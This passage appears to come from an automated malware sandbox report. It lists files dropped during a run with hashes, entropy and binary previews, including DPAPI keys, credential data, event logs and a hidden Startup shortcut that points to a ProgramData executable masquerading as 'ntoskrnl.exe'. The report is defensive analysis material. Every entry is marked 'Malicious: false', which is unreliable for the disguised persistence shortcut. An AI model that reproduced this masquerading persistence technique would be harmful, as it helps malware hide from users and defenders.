SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\2f6a24f9-6ad9-43e4-bf68-fccfdb1aa880

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	468
Entropy (8bit):	6.378346510928039
Encrypted:	false
SSDEEP:	12:gLn57s5d65jpFzooLjLSyXI6Y1m9lYUgx4Sn:MC5d65j7zoqiyXI6Y1m9lYUgiS
MD5:	F88F8714D1209774BAEA02F7882EBEFF
SHA1:	DB2095D3FD5D313D1A314C7E34BFF34CAAD3B4F5
SHA-256:	1A7D47116AEB8B943597ABDE27F70C14EAB3F6E4B07D1971E7E764C3B0F95175
SHA-512:	8355AD9F97CE1733EBAC4FCC42BDA3BD2E756031BBCFEC6D5F2FC52DDE4E56B86DDD93BE846D1A210E9EC79746E9BB166D05199E5F9C65FA03F2D4A36EA2D8D5
Malicious:	false
Preview:	............2.f.6.a.2.4.f.9.-.6.a.d.9.-.4.3.e.4.-.b.f.6.8.-.f.c.c.f.d.b.1.a.a.8.8.0....................................................._..cN....@........f...}...Q.}X.<.mR...UAO.^.9.R.....D.(..?Q...z3..b.PIPy......E.4K........G....lC.K:...}..2..._.n.m.c!:..F.\I..a>...V...F.....9.Z$..A.I_...6f.......U.r..+..X..1.@........f....>..;......w4^...;s.F....&...G...].....?.....OV.....v..G.$..5.Z.4.,....[..n.z.........C..a/j...x$..........K... ..M._.....n

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\Preferred

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.418295834054489
Encrypted:	false
SSDEEP:	3:wy8O+Wwbn:w5Wwb
MD5:	74ADEFF643805329350566353619BD26
SHA1:	ECB5440BCDAB6EB93B434892B6903D1B2FB2BB1B
SHA-256:	86ED647C4AA0BC6CEC1AA63D48C6198B7DF41B0E253ACE13B2FBBB88D30CFAF6
SHA-512:	6CFBB3D200D623E861982AD32AFDAE64CCC985D07D9F9D0F53B894A38F6ECB5526FD5418D5514A645397215FDCD65E1578F0DF61201E9E58B3DD22A913341DC6
Malicious:	false
Preview:	.$j/.j.C.h...... .......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ntoskrnl.lnk

Process:	C:\ProgramData\KrnlSetupSus.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sat Dec 14 16:53:35 2024, mtime=Sat Dec 14 16:53:35 2024, atime=Sat Dec 14 16:53:35 2024, length=87040, window=hide
Category:	dropped
Size (bytes):	670
Entropy (8bit):	4.590831539421875
Encrypted:	false
SSDEEP:	12:8t0qppTsgcO8WRXlueXkNfTFjAY7NeD6bZdiE4hiE4fmV:8/lu1f1AseiZdEhEfm
MD5:	BF08EF73994AC63AA6D165A27235C7DD
SHA1:	532AD8716A98133A8EE2E32E010FC5187D8CEFF6
SHA-256:	98C5B475A7203940731BA54A28FC3F5F9EAC838C908D6ADB51086CF89514A41E
SHA-512:	2E0AFE0068B930457DDDADA04CE98044829E4E485F220187B31739188A3747EA1580777E38EFC3A243855B50E914B0872FB7C1D345B1041043E7FA252188A835
Malicious:	false
Preview:	L..................F.... ..b8..QN..b8..QN..b8..QN...T...........................P.O. .:i.....+00.../C:\...................`.1......Y... PROGRA~3..H......O.I.Y......g.......................y.P.r.o.g.r.a.m.D.a.t.a.....f.2..T...Y.. ntoskrnl.exe..J......Y...Y.......)......................y.n.t.o.s.k.r.n.l...e.x.e.......J...............-.......I...........y..d.....C:\ProgramData\ntoskrnl.exe..3.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m.D.a.t.a.\.n.t.o.s.k.r.n.l...e.x.e.`.......X.......098239...........hT..CrF.f4... .Q..LD....,...E...hT..CrF.f4... .Q..LD....,...E..E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\Preferred

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.584962500721156
Encrypted:	false
SSDEEP:	3:LYULJpob:LYUkb
MD5:	7C52D8173785B99E84F4B4208DE0BB10
SHA1:	7657670549868E795CA46AA00B1AD544107777E1
SHA-256:	60818BDD66DED9761220B0D939BE5CBFFCB7BC6F3702F58359F17A2D07822EF0
SHA-512:	96E1807C8C78603669496A7BE4F663FDB0D454A3C04491429F30F987BD24209B2BD6578D36251E0109F93409E4A3DF639FC5F8F61FF5AE6109A57F0A8AC52C41
Malicious:	false
Preview:	.......O....MV.y......

C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\f71cdae7-f4f8-4fc8-ad0f-e18eef984d56

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	468
Entropy (8bit):	6.1562693653639995
Encrypted:	false
SSDEEP:	6:Ell88GBCygACZiIuNIZH9QZ/GXpQTODdctx5J4F+hmNND0XkpGP3wTg82S:iOCyg5iDNE9QZ/bTORc75WQyNJpG4Tz
MD5:	466FC12525FB2A988E0242E5B7A3B32A
SHA1:	41FBC0A655D533F7E90BA27DF9F08CA984052F5E
SHA-256:	AF19996F362636819FA19D41D772C80C70AAAC5CC35CE7D46A163B3B975BC877
SHA-512:	DCB5A00FA55C4F7ED20B30E6224FBCAFE17E1FA941680FDF8FF3FC72391D32A1070448066398832419C0246ACA1833D160722830628FD5676880CC57195DF5DF
Malicious:	false
Preview:	............f.7.1.c.d.a.e.7.-.f.4.f.8.-.4.f.c.8.-.a.d.0.f.-.e.1.8.e.e.f.9.8.4.d.5.6..................................................9..9.,.w.b5{.A.@........f..i'Y6s.x.G.;8..a.h.MP..+...Ip5w..a..M...y...2?}<.B.;e..46..1B..M,....L[.R.c4..s....>....HP.\.w#..}.B.C... s..N...%.l...i>l,.+...........~......qt.../.....Mw@........f..2.D.T@$....v.U..Vb.R2..(.......N..6........O.c@.s..0...X.0D.;.t.I..K.la}....r4.u*&.....o.f.-..:...o..U.s......................

C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	4680
Entropy (8bit):	3.711185470832321
Encrypted:	false
SSDEEP:	96:pYMguQII4i66h4aGdinipV9ll7UY5HAmzQ+:9A4q/xne7HO+
MD5:	F45658D91921C44DE566AF0E4B84EF37
SHA1:	C33E293E8336D79A72DAEC550E7E3D8510023AED
SHA-256:	1C4C57A98DE2676E6DAD97EAECFF796A3F4801215799972DDBF1ED83C952E3AF
SHA-512:	E2210EC29CE7818A0F16DEF0BF614B49296BBE7C03E704B39AE18F9E1B20E9141A68A49E64D5F1C90D81F8EDE3D85648A6F0EA78A1F7F403F325573D392E24A5
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...6.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.S.o.u.r.c.e.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.0.).<./.S.o.u.r.c.e.>..... . . . .<.A.u.t.h.o.r.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.0.).<./.A.u.t.h.o.r.>..... . . . .<.V.e.r.s.i.o.n.>.1...0.<./.V.e.r.s.i.o.n.>..... . . . .<.D.e.s.c.r.i.p.t.i.o.n.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.1.).<./.D.e.s.c.r.i.p.t.i.o.n.>..... . . . .<.U.R.I.>.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.S.o.f.t.w.a.r.e.P.r.o.t.e.c.t.i.o.n.P.l.a.t.f.o.r.m.\.S.v.c.R.e.s.t.a.r.t.T.a.s.k.<./.U.R.I.>..... . . . .<.S.e.c.u.r.i.t.y.D.e.s.c.r.i.p.t.o.r.>.D.:.P.(.A.;.;.F.A.;.;.;.S.Y.).(.A.;.;.F.A.;.;.;.B.A.).

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	11136
Entropy (8bit):	7.977985611122021
Encrypted:	false
SSDEEP:	192:es+vgY7zhnuw+y0Cwnly0iR3C9fTBBVIJylTMJ6ttQfOaRFgIt0TB:ePvFz8w+y0CwnsrC9rBbI+MJ8udi
MD5:	F0786EF5B77C61BE61EBAA63A9F6932D
SHA1:	C61F6A785EF6C30B753227A6F996FFD3CA6E8861
SHA-256:	BC5F7134C8B972E78F34CFE8EE874271D506B25C241D091A659F67D52AD39470
SHA-512:	A889BAB6D667E2085EFF1A1EE3345AC0ADD3F170631B7E101031CEDD65D5B001898B76BF5691534D7F2B92F161061129A35C67D939FC2A24CC158FEEE8EDC74B
Malicious:	false
Preview:	....t+..................z..O.............O....MV... 0...L.o.c.a.l. .C.r.e.d.e.n.t.i.a.l. .D.a.t.a........f...... ....^:.9._.%U..h{.U...R..9<...xZ$............. ....K72.a..[..]W,...w!..h.y9F.Y.V.5p...h._.::......G...F......)d..........S.0.....%.......%.m...:...Y.`.3...ZDv(....+..!my.z.c.r.7.uk}...E.;.d.w.;.?.O..g....N...g(5..4...q.9.....n.....3..\.`......Z.s`.(..@}x.I5..RXJ..Y..&..&..+{...cJ}.y(6...!..I.....C.....A~.k..I9...}..+m".l./j......R...C-..N..4.d.......C.-...S%...C.:7..V.j..C.X.nA.....D.+\|.K...{..;.t......"...Q.2.......i.R....1~..........[4.....X..A.!.O.g'..S.Bd....:}..r...1...o...n.j\|...Aw.qR.....a>....\&q./.r.I\.Bk.E0.Pd...9XsL.l.../,/9~z......[.4..._w..$s.8......i.5}.(-........u)g..F...i.w...J...7......al.$...r..2..Y;v.....>.E.....S.^[.@..7Q.B..H...[...'O...E...}...../...},. ........."..._<..%.;..S...P...'....7..z.'Y.Cic.....ro...C.~....}..2..Q..-.......A..{..gPBpg..0&..s..w..Fu... .q..L.E...=.Q3..$.RC......h..;.....x..........

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\System32\winevt\Logs\Application.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	dBase III DBT, next free block index 1130785861, 1st item "**"
Category:	dropped
Size (bytes):	5048
Entropy (8bit):	3.979141422721052
Encrypted:	false
SSDEEP:	48:MXUsfrP+yXCrPwfFRVEfWb3/Ooc0wzytxsIbYmFDSYKniOHE4sTCFDSGiZpQX1OW:lkCrup/vOoclke4FdKnDVGCFBiZsZ
MD5:	5FB72844E09B58CF2460328376BFEE23
SHA1:	78400E32B8CECFB903A32D98E0EF3B4DB93D6D34
SHA-256:	60EA7A79E52BCB630571A7388FBF266A5F157125227739486E98F3C0021D95C0
SHA-512:	B5B7E33B9F44F5A2953F1971BB8EFF6CC3C28A9CC35C3EC22CA87820902E4F86051828AE79E91E1836625724F8B149F90FB6C0AAD87D6A970FFE65C9B244FD94
Malicious:	false
Preview:	ElfChnk.................\.......^...................nOA>.....................................................................A.m............................................=...........................................................................................................................g...............@...........................n...................M...]...........................j...................................~...................................&...............................................**..X...\.......<...QN.........3d.&........3d....P..k..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Z............{..P.r.o.v.i.d.e.r...7...F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.e.c.u.r.i.t.y.-.S.P.P.F........)...G.u.i.d.....&.{.E.2.3.B.3.3.B.0.-.C.8.C.9.-.4.7.2.C.-.A.5.F.9.-.F.2.B.D.F.E.

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 3 chunks (no. 2 in use), next record no. 310, DIRTY
Category:	dropped
Size (bytes):	112680
Entropy (8bit):	3.7416863928223942
Encrypted:	false
SSDEEP:	768:qVUHiapX7xadptrDT9W84H6gVUHiapX7xadptrDT9W84H6:lHi6xadptrX9WParHi6xadptrX9WPa
MD5:	476AE061B56260CCD40FD4B07BD3896D
SHA1:	7C5345ECF6A18402F2BC6BF66E0AB4891B8A3FFE
SHA-256:	AE3F292E30105763ADD2729407159EB926CE7257ED19DE83527D09F0954A3FAA
SHA-512:	4D9AC05ED151D0D8CB66158922582F86620D7D8F5C4E9EBFFE761112FFC85A78B17BE9A4CAD461C3148E3A689D5541E5A2BD9936D347CBD0C04DF93A960063FD
Malicious:	false
Preview:	ElfFile.................6....................................................................................................I].ElfChnk.........7...............7....................v......................................................................g.u.................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........r...................m..............qo...................>...;..................**..............4.9...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.377721629524822
Encrypted:	false
SSDEEP:	384:fhZN/GN6N/NDsNadNDtNkN6NQNQxNhdNQaNwNwNONPNavNqN6NfNjNALNCNyN7Ns:fZeIPRThtUmqYXL3QXr0Q7
MD5:	B59AFB7FCA4C7067FBB3EF413064809B
SHA1:	785A500AA8ADA1D59F3F7FD48E876F2305E7072D
SHA-256:	ED35583D239B8BBF565E20C872268401F9D05A4DCCE4ABA7F83BA99A5978FD95
SHA-512:	C86B8AE075AA4E669D9DE8EDC1C3E430D68F1A155153EE7B4C7B1898E03E42334C37FFAE7CD35B759EB019822762C7048083BEA711439FAA1D869360CE59CD88
Malicious:	false
Preview:	ElfChnk.{...............{..........................[.x......................................................................D.\........................................V...=...........................................................................................................................f...............?...........................m...................M...F...................=c......................=j...........................?......]...............................................-g..................**......{.......n=.df..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	96496
Entropy (8bit):	4.272949127967265
Encrypted:	false
SSDEEP:	384:vVHVRVaVwVvVQPlVbVPVzVXhMVnRVSV3V9VbVSV5VjVMV/V1VQVPTV0V6V6VoVbJ:cPx+HzPvi20Hl6MunW+HzPP
MD5:	4E47A5C888549CFC2FAFD9DAC84582A3
SHA1:	6579B4C03A36859EC5B8401E51AE28E77DBF2908
SHA-256:	A9C8E8AE0D2123CB3BE8CED35F790B19F92F7E9DB12BD3A09AAA4E1932CE8348
SHA-512:	7BC167C7E57DA39ED3E5CF2AF2EAF5C5B0F3F153F95DF492377162A968CAD48DCC52E7AC2147EB142B17B4EDCE20EC7E1FCF153422DFCC999565BEC4723FCBF6
Malicious:	false
Preview:	ElfChnk.....................................h_..0a...O.i....................................................................%i.................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................9@...............................=....................r...g..........Z..&...............................................................@.......X..._.!.....E..........@r...g...0.U.f...[2U.f................................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t...'..Y.J.R>:..=_M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t./.O.p.e.r.a.t.i.o.n.a.l...f.d.........L...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s.A.l.a.r.m.s._.8.w.e.k.y.b.3.d.8.b.b.w.e.....n.d.o...................7..g..........Z

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67008
Entropy (8bit):	4.182503448607405
Encrypted:	false
SSDEEP:	384:HmHm0hsmsmi7mRXZmVkWmhTimmdmBmKmPhmRTmimZ8mevmcsm7mrmQmzmjmvmTmu:Q2klTiGFKX93WGUGpeOg26
MD5:	7AAD757C916B34BF737D14C281E91B37
SHA1:	6E6E1593E10B2AABC34C969342E3EA30F501A461
SHA-256:	5886A0E49CFFB228FE132F2EAD64BC1217068A6BD52432279DA45A0B05E99881
SHA-512:	88EC2AB170F24037F14BD8516DC811FF5A7186C5B2DD458C58CCBCD24EDB042C2C7E8EEEC1E8E0F395CFBEC010970FB44CB88F328AA505195CB80E3AD579A2F9
Malicious:	false
Preview:	ElfChnk.@-......o-......@-......o-..........(........1.......................................................................xA.................\...........................=...........................................................................................................................f...............?...........................m...................M...F................................i...&...,...........................7..................................5...c#..{1..k:...................v................n-......h...PN.........Z..&...............................................................N.......d..._.!.....[..........@h...PN..0.U.f....2U.f...$.......n-...................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t.-.S.e.r.v.e.r.9.G?...J...]..-CM.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t.S.e.r.v.e.r./.O.p.e.r.a.t.i.o.n.a.l...e$W..R......................(.....................s.v.c.h.o.s.t...e.x.e.,.S.t.o.r.S.v.c........-...........

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 4, DIRTY
Category:	dropped
Size (bytes):	70680
Entropy (8bit):	0.7869971179220531
Encrypted:	false
SSDEEP:	192:PvV7pp8nMLkmp8nPp8njMv+p8nLV7pp8nMLkmp8nPp8njMv+p8n:PvhpiMLxiPijM2iLhpiMLxiPijM2i
MD5:	1D5F719BE1961F4E1F785DA45503A489
SHA1:	54E982E975758875D7B3D0A8E3156E7B29334554
SHA-256:	C27A55A2DE87D103EAA2B3864C12183B39E90D7BEEE46C851660A5C5413037CC
SHA-512:	86DC8391944B2FB2E682E4D1589A49603885E3D666A3B36601DBA19568C0E0DB2D29394BF5A3AC15F77A5689C806150982029BDDBE46FEFAD6D6849F9756ECE8
Malicious:	false
Preview:	ElfFile.........................................................................................................................ElfChnk.....................................@.......u.......................................................................=.6............................................=...........................................................................................................................f...............?...................................p...........M...F...............................................f...................................................................................&...............**..p...........n.d.............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.467947111655398
Encrypted:	false
SSDEEP:	1536:xZPZn2bBN2A4VD7VAx8whAGU2woJQghwMvOUFwe8OQhNwRA:
MD5:	6B473E7917B1EDEE80CAFE7D24A6A4E8
SHA1:	1940F41550F2986C928648ED00F9C6E4868D1A23
SHA-256:	1D52F13D2EA4ACC472815240DBFF0F34C6CD5E86F980D04D9AD28E42C3E7A355
SHA-512:	9AABAD5B7425A9692545864C11B99DDED0051CE8B442FFAB7BAB21DD8CD68B51BC980B01F324A81C685DC56793581AE2E6751DD08497CCBA64FB3339A9B5483D
Malicious:	false
Preview:	ElfChnk.e.......h.......e.......h...............x....;.......................................................................Z}............................................=...............y...........................................................................................................L...............?...............................................M...F...............................................&...................................................................................n...............**......e..........f..........'.z&........'.z..^................A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.565838744973026
Encrypted:	false
SSDEEP:	1536:PXY5nVYIyyqED5BVZUe39vHxt1BSocM1:PXY5nVYIyyqED5BVZUe39vHxt1BSot
MD5:	B30C931B9EF047307E1443502CE7EE14
SHA1:	BAC3632B709B853DFFCD9C4D65D1F9236F6FE551
SHA-256:	033CF49641F4E76EFABF8F25753074E7EE72DD567FBA4145D446032D3D9CFADB
SHA-512:	F5A9CA2D464EBA1F2F4EA426AC3864FB399A8951958BA44BA550E2129C4F4D4DA9E60F0D1B18A07CC76D4BC2CFD20D283F446A47DF990B52916113D5383A1952
Malicious:	false
Preview:	ElfChnk.........~...............~...................F..........................................................................T................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................N...............y.......................**................9..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	17120
Entropy (8bit):	4.134413581134319
Encrypted:	false
SSDEEP:	384:PosKFoOoaAxoL+y4omPLoSy+o1oSyrogoSy0oboSyIoroSyOoVoSyBouoSyYozoW:aT
MD5:	5DE25734332E2AAF2A58135427C13917
SHA1:	4DB58CAB44EFCEFE0616181A77E8EE8E18A78A63
SHA-256:	E443BB0D81AB77A313025EB6E6E92230EC4B28C01153D6E931EA18E4E02475B4
SHA-512:	51E48EEE59A00BFEE19A27F4EA3F65F75B87DE67D81C0D7104D2ACC7BA8114CE9E37E30BAAACEDDA8E1BF9E7B49D191266FB89BE1AC1FAFE797B2667ECC0DF9C
Malicious:	false
Preview:	ElfChnk......................................+...-....H?......................................................................h.................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................................................................ ......U)..............................**..................PN.........Z... ..............................................................>.......V...X.!..e..................PN..0.U.f....4U.f................................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y..k.N.<.D..97d>7.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y./.O.p.e.r.a.t.i.o.n.a.l...!>.U)......!>....[.U.....i...........\|...:....A..3...b...%....=.......F.i.l.e.N.a.m.e.L.e.n.g.t.h.......A..3...b...%....=.......F.i.l.e.N

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8511209646626153
Encrypted:	false
SSDEEP:	384:ChAiPA5PNPxPEPHPhPEPmPSPRP3PoPbPfP0bPnPdP:C2NZ
MD5:	A98C811B8E1B821CD1FE05A68ADD446A
SHA1:	4E8B739F5E308F943962E72FF24212FFBE47FAD7
SHA-256:	58F6584C100174B80ACB8940226841B77884326A293CEE9072F4DD4CF8C10133
SHA-512:	24A7B9C86A6CE93B9B7F4107A433A247789EE568EB69E301B51DC9D01AA40D2F408AD76B78F7F83E5F4EB47C1677276BC86F86A99BAB95186C2331ABE4CA523C
Malicious:	false
Preview:	ElfChnk......................................%...&..?........................................................................<.m................N...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&................................................................................ ..............'.......................**..x.............\|..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8431535491551847
Encrypted:	false
SSDEEP:	384:OhZ21JJgL4JJFiJJ+aeJJ+WBJJ+5vJJ+/UJJ+4fJJ+CwJJ+D2JJ+a2JJ+JtJJ+lk:OWXSYieD+tvgzmMvRQAsNi
MD5:	106F006ACA6287586EF71A10A5C06C4D
SHA1:	B4B6D91FF53E9BDFC8D0D99A0D6F643E49074932
SHA-256:	79E64A943AED80ADAE43934E4573F95AE7308DDD6FC896EEDDB386C8A41FBA65
SHA-512:	F4D49C8CBC2B46719521935DFABDC3E05883C2360D4E472920C420B1ACC74D0F835D10A2C5BA6E29038425809D585025172FDC9E534619C017D70FA4D9F23D53
Malicious:	false
Preview:	ElfChnk......................................$...&..{n.8.....................................................................{..................F...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................................................................................................**..p............zu..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	105296
Entropy (8bit):	3.7685977795252974
Encrypted:	false
